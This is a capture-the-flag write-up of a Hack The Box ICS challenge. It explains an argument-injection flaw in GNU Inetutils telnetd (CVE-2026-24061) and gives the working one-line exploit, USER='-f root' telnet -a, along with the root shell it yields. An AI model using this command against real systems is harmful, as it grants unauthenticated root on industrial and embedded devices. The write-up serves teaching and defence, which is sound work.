Scenario

Stormbound scouts found a forgotten RiverGate PLC beneath Crownspire brineworks, still feeding treated water toward the Ash Vault service tunnels. Vaultrune wardens cut its controller off from normal oversight after the Signet shattered, but old maintenance habits tend to leave traces. Find what still answers and recover the latest checkpoint token before another sealed gate obeys a forged writ.

Enumeration

This is an ICS/OT CTF Challenge from Hack The Box, and they only provided a connection info (IP:PORT). The first step I did was to do a service scan on exposed port:

nmap -sV -p30834 154.57.164.71

Result:

PORT      STATE SERVICE VERSION
30834/tcp open  telnet  Openwall GNU/*/Linux telnetd

This immediately confirmed the "old maintenance habits" hint: the service exposed is Telnet, a legacy, unencrypted remote-access protocol that has largely been retired in favor of SSH, but which still lingers on embedded systems, network appliances, and OT/ICS equipment — exactly the kind of device the scenario describes (a PLC that oversight forgot about).

The banner (Openwall GNU/*/Linux telnetd) told us the backend was built on GNU Inetutils' telnetd implementation, a detail that turns out to be the whole challenge.

Initial Access Attempts

My standard practice for this kind of challenge is to try default/weak credentials. I've attempted several common username/password combinations against the login prompt:

login: admin / root / plc / maintenance

All attempts failed (Login incorrect), and the prompt was strict about timing out after ~60 seconds of inactivity. This ruled out "the challenge is just weak creds" and pointed toward something protocol-level instead — consistent with the fact that this was flagged under the ICS category, where the intended lesson is usually about a service-level flaw, not password hygiene.

Vulnerability

In January 2026, a critical authentication-bypass vulnerability was disclosed in GNU Inetutils telnetd, tracked as CVE-2026-24061 (CVSS 9.8 — Critical). The bug had existed silently since a March 2015 commit, meaning it went undetected in shipped code for roughly 11 years before disclosure — and by then it was baked into countless embedded Linux images, network appliances, and legacy Unix/Linux systems still running telnetd for "convenience."

Root Cause

telnetd supports the NEW-ENVIRON Telnet option (RFC 1572), which lets a connecting client transmit environment variables to the server during the initial protocol negotiation — before any credentials are exchanged. One of the variables a client can set is USER.

The vulnerable code took the client-supplied USER value and substituted it directly into the command line used to invoke the system's /usr/bin/login binary, with no sanitization. Ordinarily, telnetd would run something like:

login <username>

But because the USER variable was inserted unsanitized, a client could supply a value that looks like a command-line flag instead of a plain username. Specifically, supplying:

USER=-f root

causes telnetd to actually execute:

login -f root

The -f flag to login means "the user is already authenticated, skip the password prompt and log them in directly as the given account." It exists so that other trusted local programs (like rlogin, or an already-authenticated session handoff) can pre-authenticate a user without prompting for a password again. telnetd was never supposed to let a remote, untrusted client control this flag — but because it blindly spliced client input into the argument list, an attacker could inject the flag themselves.

The result: an unauthenticated, remote attacker connecting to a vulnerable telnetd can request login -f root and be dropped straight into a root shell, with zero credentials required.

Why this matters for ICS/OT

Security researchers specifically flagged this bug as dangerous for OT and industrial environments, because:

• Telnet is disproportionately common on PLCs, RTUs, and embedded controller front-ends where vendors prioritize backward compatibility over security.
• These devices are frequently "set it and forget it" — exactly the "forgotten... old maintenance habits" framing in the challenge text.
• A single unauthenticated command yields full root access to a device that may sit adjacent to physical process control.

This challenge is a fictionalized dramatization of exactly that risk: a "RiverGate PLC" quietly still listening, reachable over a legacy protocol, fully exploitable with no valid credentials.

Exploitation

The standard Linux telnet client actually supports triggering this exact behavior natively, via the -a (auto-login) flag combined with a spoofed USER environment variable:

USER='-f root' telnet -a 154.57.164.71 30834

What happens under the hood:

1. telnet -a tells the client to attempt automatic login using the local USER environment variable.
2. We've overridden that environment variable to the literal string -f root.
3. During Telnet's NEW-ENVIRON negotiation, the client sends this value to the server.
4. The vulnerable telnetd server splices it unsanitized into its invocation of login, resulting in the server-side command: login -f root.
5. login interprets -f root as "trust me, pre-authenticate this user as root," and skips the password prompt entirely.

Result:

Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.18.24-talos x86_64)
...
root@ng-team-276560-icslinetapca2026-tsc31-588b7bbbdb-4kc5n:~#

Instant, unauthenticated root shell.

Post-Exploitation

With root access established, we searched the filesystem for the challenge flag:

find / -iname "*flag*" 2>/dev/null

Most hits were kernel/proc noise (/proc/sys/..., /sys/devices/...), but one result stood out immediately:

/flag.txt

Reading it:

cat /flag.txt

HTB{[REDACTED]}

Summary (TL;DR)

Key Takeaways

1. Legacy protocols are legacy for a reason. Telnet transmits credentials in plaintext and, as this CVE shows, its server implementations can carry decade-old, unnoticed critical bugs. If a service doesn't need to exist, it shouldn't.
2. Never trust client-supplied data in a privileged command line. The entire vulnerability boils down to one root failure: treating an untrusted, attacker-controlled string (USER) as safe to interpolate into a command that invokes a privileged binary (login). This is a classic argument injection vulnerability — the same class of bug as SQL injection or command injection, just aimed at CLI flags instead of query syntax.
3. ICS/OT exposure amplifies the blast radius. In real deployments, this bug on an internet-facing or improperly segmented PLC management interface could mean instant unauthenticated root on equipment tied to physical infrastructure — which is exactly the narrative HTB built the challenge around.
4. "Old maintenance habits" is a real-world pattern, not just flavor text. Forgotten legacy services (Telnet, FTP, old web admin panels) are consistently among the easiest initial-access vectors in real ICS/OT incident response, precisely because they're assumed to be dead and are rarely monitored.